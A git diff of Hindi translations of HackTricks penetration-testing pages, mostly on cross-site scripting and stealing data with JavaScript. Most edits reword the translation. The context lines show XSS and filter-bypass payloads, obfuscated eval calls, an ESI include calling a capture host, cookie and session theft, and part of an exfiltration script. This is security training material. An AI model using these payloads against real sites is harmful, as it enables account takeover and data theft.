**स्ट्रिंग्स** को एकल और दोहरे उद्धरणों के अलावा बनाने के लिए, JS **बैकटिक्स** **` `` `** को भी स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
|
||||
**स्ट्रिंग्स** को एकल और दोहरे उद्धरणों के अलावा बनाने के लिए, JS भी **बैकटिक्स** **` `` `** को स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
|
||||
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **प्रतिबिंबित** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
|
||||
|
||||
इसका **दुरुपयोग** किया जा सकता है:
|
||||
|
@ -555,7 +555,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**जावास्क्रिप्ट टिप्पणियाँ (से** [**जावास्क्रिप्ट टिप्पणियाँ**](./#javascript-comments) **कौशल)**
|
||||
**जावास्क्रिप्ट टिप्पणियाँ (से** [**जावास्क्रिप्ट टिप्पणियाँ**](./#javascript-comments) **चालाकी)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
|
@ -673,7 +673,7 @@ try{throw onerror=alert}catch{throw 1}
|
|||
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**मनमाने फ़ंक्शन (अलर्ट) कॉल**
|
||||
**मनमाने फ़ंक्शन (alert) कॉल**
|
||||
````javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
|
@ -736,20 +736,20 @@ top[8680439..toString(30)](1)
|
|||
## **DOM कमजोरियाँ**
|
||||
|
||||
यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\
|
||||
**DOM कमजोरियों के विवरण के विस्तार के कारण इसे इस पृष्ठ पर स्थानांतरित किया गया है** [**DOM कमजोरियों के बारे में**](dom-xss.md)**:**
|
||||
**व्याख्या के विस्तार के कारण** [**DOM कमजोरियों को इस पृष्ठ पर स्थानांतरित किया गया है**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
वहाँ आपको **यहाँ DOM कमजोरियाँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है** इसका विस्तृत **विवरण मिलेगा**।\
|
||||
इसके अलावा, यह न भूलें कि **उल्लेखित पोस्ट के अंत में** आप [**DOM क्लॉबरिंग हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
|
||||
वहाँ आपको **DOM कमजोरियों के बारे में विस्तृत व्याख्या मिलेगी, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है**।\
|
||||
इसके अलावा, यह न भूलें कि **उल्लेखित पोस्ट के अंत में** आप [**DOM Clobbering हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
|
||||
|
||||
### स्वयं-XSS को अपग्रेड करना
|
||||
### Self-XSS को अपग्रेड करना
|
||||
|
||||
### कुकी XSS
|
||||
|
||||
यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक स्वयं-XSS होता है। हालाँकि, यदि आप **XSS के लिए कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं, जिससे मुख्य डोमेन या अन्य उपडोमेनों (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
|
||||
यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक self-XSS है। हालाँकि, यदि आप **XSS के लिए कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं, जिससे मुख्य डोमेन या अन्य उपडोमेन (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
|
||||
|
||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
|
@ -759,13 +759,13 @@ top[8680439..toString(30)](1)
|
|||
|
||||
### अपने सत्र को व्यवस्थापक को भेजना
|
||||
|
||||
शायद एक उपयोगकर्ता अपने प्रोफ़ाइल को व्यवस्थापक के साथ साझा कर सकता है और यदि स्वयं XSS उपयोगकर्ता के प्रोफ़ाइल में है और व्यवस्थापक इसे एक्सेस करता है, तो वह कमजोरियों को ट्रिगर करेगा।
|
||||
शायद एक उपयोगकर्ता अपने प्रोफ़ाइल को व्यवस्थापक के साथ साझा कर सकता है और यदि self XSS उपयोगकर्ता के प्रोफ़ाइल में है और व्यवस्थापक इसे एक्सेस करता है, तो वह कमजोरियों को ट्रिगर करेगा।
|
||||
|
||||
### सत्र मिररिंग
|
||||
|
||||
यदि आप कुछ स्वयं XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं, उसे देखेगा लेकिन अपने सत्र से।
|
||||
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए, ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं, उसे देखेगा लेकिन अपने सत्र से।
|
||||
|
||||
आप **व्यवस्थापक को आपके स्वयं XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं।
|
||||
आप **व्यवस्थापक को आपके self XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं।
|
||||
|
||||
## अन्य बायपास
|
||||
|
||||
|
@ -822,22 +822,22 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
यदि आप पाते हैं कि आप **302 Redirect प्रतिक्रिया में हेडर इंजेक्ट कर सकते हैं** तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने** की कोशिश कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP प्रतिक्रिया स्थिति कोड 302 होने पर HTTP प्रतिक्रिया शरीर को नहीं समझते हैं, इसलिए केवल एक क्रॉस-साइट स्क्रिप्टिंग पेलोड बेकार है।
|
||||
यदि आप पाते हैं कि आप **302 Redirect response में headers inject कर सकते हैं** तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने** की कोशिश कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP response body को 302 HTTP response status code होने पर नहीं समझते, इसलिए केवल एक cross-site scripting payload बेकार है।
|
||||
|
||||
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस रिपोर्ट**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप कैसे स्थान हेडर के अंदर कई प्रोटोकॉल का परीक्षण कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को XSS पेलोड को शरीर के अंदर निरीक्षण और निष्पादित करने की अनुमति देता है।\
|
||||
पिछले ज्ञात प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली स्थान हेडर_, `resource://`।
|
||||
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस रिपोर्ट**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल का परीक्षण कैसे कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को XSS payload को body के अंदर निरीक्षण और निष्पादित करने की अनुमति देता है।\
|
||||
पिछले ज्ञात प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली Location header_, `resource://`।
|
||||
|
||||
### केवल अक्षर, संख्या और बिंदु
|
||||
|
||||
यदि आप यह इंगित करने में सक्षम हैं कि **callback** जो JavaScript **निष्पादित** करने जा रहा है, उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](./#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे किया जाए।
|
||||
यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **execute** करने जा रहा है, उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](./#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे किया जाए।
|
||||
|
||||
### XSS के लिए मान्य `<script>` सामग्री-प्रकार
|
||||
### XSS के लिए मान्य `<script>` Content-Types
|
||||
|
||||
(से [**यहां**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप एक **सामग्री-प्रकार** के साथ स्क्रिप्ट लोड करने की कोशिश करते हैं जैसे `application/octet-stream`, तो Chrome निम्नलिखित त्रुटि फेंकेगा:
|
||||
(से [**यहां**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप एक **content-type** के साथ स्क्रिप्ट लोड करने की कोशिश करते हैं जैसे `application/octet-stream`, तो Chrome निम्नलिखित त्रुटि फेंकेगा:
|
||||
|
||||
> ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') से स्क्रिप्ट निष्पादित करने से इनकार कर दिया गया क्योंकि इसका MIME प्रकार (‘application/octet-stream’) निष्पादित नहीं किया जा सकता है, और सख्त MIME प्रकार जांच सक्षम है।
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
केवल **Content-Type** जो Chrome को **लोड की गई स्क्रिप्ट** चलाने का समर्थन करेगा, वे हैं जो स्थिर **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
केवल **Content-Type** जो Chrome को **लोड की गई स्क्रिप्ट** चलाने में सहायता करेंगे, वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -865,10 +865,10 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
The answer is:
|
||||
उत्तर है:
|
||||
|
||||
* **module** (डिफ़ॉल्ट, समझाने के लिए कुछ नहीं)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक विशेषता है जिससे आप कई डेटा (HTML, CSS, JS…) को एक साथ **`.wbn`** फ़ाइल में पैकेज कर सकते हैं।
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक विशेषता है जिससे आप डेटा (HTML, CSS, JS…) को एक साथ **`.wbn`** फ़ाइल में पैकेज कर सकते हैं।
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -923,14 +923,14 @@ import { partition } from "lodash";
|
|||
* text/xml
|
||||
* image/svg+xml
|
||||
* text/plain (?? सूची में नहीं लेकिन मुझे लगता है कि मैंने इसे एक CTF में देखा)
|
||||
* application/rss+xml (बंद)
|
||||
* application/atom+xml (बंद)
|
||||
* application/rss+xml (off)
|
||||
* application/atom+xml (off)
|
||||
|
||||
अन्य ब्राउज़रों में अन्य **`Content-Types`** का उपयोग मनमाना JS निष्पादित करने के लिए किया जा सकता है, जांचें: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
|
||||
यदि पृष्ठ एक text/xml सामग्री प्रकार लौटाता है तो यह एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है:
|
||||
यदि पृष्ठ एक text/xml सामग्री प्रकार वापस कर रहा है, तो एक namespace को इंगित करना और मनमाना JS निष्पादित करना संभव है:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
|
@ -940,9 +940,9 @@ import { partition } from "lodash";
|
|||
```
|
||||
### विशेष प्रतिस्थापन पैटर्न
|
||||
|
||||
जब कुछ ऐसा **`"some {{template}} data".replace("{{template}}", <user_input>)`** उपयोग किया जाता है। हमलावर [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
जब कुछ इस तरह का **`"some {{template}} data".replace("{{template}}", <user_input>)`** उपयोग किया जाता है। हमलावर [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
उदाहरण के लिए [**इस लेख**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग **एक JSON स्ट्रिंग** को स्केप करने और मनमाने कोड को निष्पादित करने के लिए किया गया था।
|
||||
उदाहरण के लिए [**इस लेख**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग एक स्क्रिप्ट के अंदर **JSON स्ट्रिंग को स्केप** करने और मनमाना कोड निष्पादित करने के लिए किया गया था।
|
||||
|
||||
### क्रोम कैश से XSS
|
||||
|
||||
|
@ -1006,7 +1006,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
पिछले उदाहरण के समान, **त्रुटि हैंडलर** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुँच प्राप्त करना और **`require`** फ़ंक्शन प्राप्त करना संभव है:
|
||||
पिछले उदाहरण की तरह, **त्रुटि हैंडलर** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुंचना और **`require`** फ़ंक्शन प्राप्त करना संभव है:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1045,7 +1045,7 @@ trigger()
|
|||
```
|
||||
### Obfuscation & Advanced Bypass
|
||||
|
||||
* **एक पृष्ठ में विभिन्न ओबफस्केशन:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* **एक पृष्ठ में विभिन्न ओबफस्केशन्स:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
|
@ -1221,12 +1221,12 @@ body:username.value+':'+this.value
|
|||
|
||||
### कीलॉगर
|
||||
|
||||
बस गिटहब में खोजते समय मैंने कुछ अलग-अलग पाए:
|
||||
बस गिटहब पर खोजते समय मैंने कुछ अलग-अलग पाए:
|
||||
|
||||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
* आप metasploit `http_javascript_keylogger` का भी उपयोग कर सकते हैं
|
||||
* आप मेटास्प्लॉइट `http_javascript_keylogger` का भी उपयोग कर सकते हैं
|
||||
|
||||
### CSRF टोकन चुराना
|
||||
```javascript
|
||||
|
@ -1311,7 +1311,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
```
|
||||
### Regex - Access Hidden Content
|
||||
|
||||
[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से यह सीखना संभव है कि भले ही कुछ मान JS से गायब हो जाएं, फिर भी उन्हें विभिन्न वस्तुओं में JS विशेषताओं में ढूंढना संभव है। उदाहरण के लिए, REGEX का एक इनपुट तब भी पाया जा सकता है जब regex के इनपुट का मान हटा दिया गया हो:
|
||||
[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से यह सीखना संभव है कि भले ही कुछ मान JS से गायब हो जाएं, फिर भी उन्हें विभिन्न वस्तुओं में JS विशेषताओं में ढूंढना संभव है। उदाहरण के लिए, REGEX का एक इनपुट तब भी ढूंढना संभव है जब regex के इनपुट का मान हटा दिया गया हो:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1346,10 +1346,10 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Use it to bypass cookie restrictions, XSS filters and much more!\
|
||||
इस तकनीक के बारे में अधिक जानकारी यहाँ है: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
इसे कुकी प्रतिबंधों, XSS फ़िल्टर और बहुत कुछ को बायपास करने के लिए उपयोग करें!\
|
||||
इस तकनीक के बारे में अधिक जानकारी यहाँ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS in dynamic created PDF
|
||||
### गतिशील रूप से बनाए गए PDF में XSS
|
||||
|
||||
यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाना JS कोड निष्पादित** कर सके।\
|
||||
तो, यदि **PDF निर्माता बॉट** कुछ प्रकार के **HTML** **टैग** पाता है, तो यह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** करके **सर्वर XSS** का कारण बन सकते हैं।
|
||||
|
@ -1358,21 +1358,21 @@ Use it to bypass cookie restrictions, XSS filters and much more!\
|
|||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
यदि आप HTML टैग इंजेक्ट नहीं कर सकते हैं, तो **PDF डेटा इंजेक्ट** करने की कोशिश करना फायदेमंद हो सकता है:
|
||||
यदि आप HTML टैग इंजेक्ट नहीं कर सकते हैं, तो **PDF डेटा** को **इंजेक्ट** करने की कोशिश करना फायदेमंद हो सकता है:
|
||||
|
||||
{% content-ref url="pdf-injection.md" %}
|
||||
[pdf-injection.md](pdf-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### XSS in Amp4Email
|
||||
### Amp4Email में XSS
|
||||
|
||||
AMP, जो मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए लक्षित है, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं।
|
||||
AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर दिया जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP घटकों](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं।
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) प्रारूप विशिष्ट AMP घटकों को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ता अपने ईमेल के भीतर सीधे सामग्री के साथ इंटरैक्ट कर सकते हैं।
|
||||
[**ईमेल के लिए AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) प्रारूप विशिष्ट AMP घटकों को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ता अपने ईमेल के भीतर सीधे सामग्री के साथ इंटरैक्ट कर सकते हैं।
|
||||
|
||||
उदाहरण [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
उदाहरण [**Gmail में Amp4Email में XSS का लेख**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS uploading files (svg)
|
||||
### फ़ाइलें अपलोड करते समय XSS (svg)
|
||||
|
||||
एक छवि के रूप में निम्नलिखित फ़ाइल को अपलोड करें (से [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
|
@ -1446,7 +1446,7 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
|
||||
|
|
|
@ -1,6 +1,8 @@
|
|||
# Steal Info JS
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -13,8 +15,6 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
```javascript
|
||||
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
||||
|
@ -123,21 +123,19 @@ window.onmessage = function(e){
|
|||
exfil_info("onmessage", encode(e.data))
|
||||
}
|
||||
```
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो करें**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
## Pretraining
|
||||
|
||||
Pretraining एक बुनियादी चरण है जिसमें एक बड़े भाषा मॉडल (LLM) को विशाल और विविध मात्रा में पाठ डेटा के संपर्क में लाया जाता है। इस चरण के दौरान, **LLM भाषा की बुनियादी संरचनाओं, पैटर्नों और बारीकियों को सीखता है**, जिसमें व्याकरण, शब्दावली, वाक्यविन्यास और संदर्भ संबंध शामिल हैं। इस व्यापक डेटा को संसाधित करके, मॉडल भाषा और सामान्य विश्व ज्ञान की एक विस्तृत समझ प्राप्त करता है। यह व्यापक आधार LLM को सुसंगत और संदर्भ में प्रासंगिक पाठ उत्पन्न करने में सक्षम बनाता है। इसके बाद, यह पूर्व-प्रशिक्षित मॉडल विशेष कार्यों या क्षेत्रों के लिए अपनी क्षमताओं को अनुकूलित करने के लिए विशेष डेटासेट पर और प्रशिक्षण प्राप्त कर सकता है, जिससे इसके प्रदर्शन और लक्षित अनुप्रयोगों में प्रासंगिकता में सुधार होता है।
|
||||
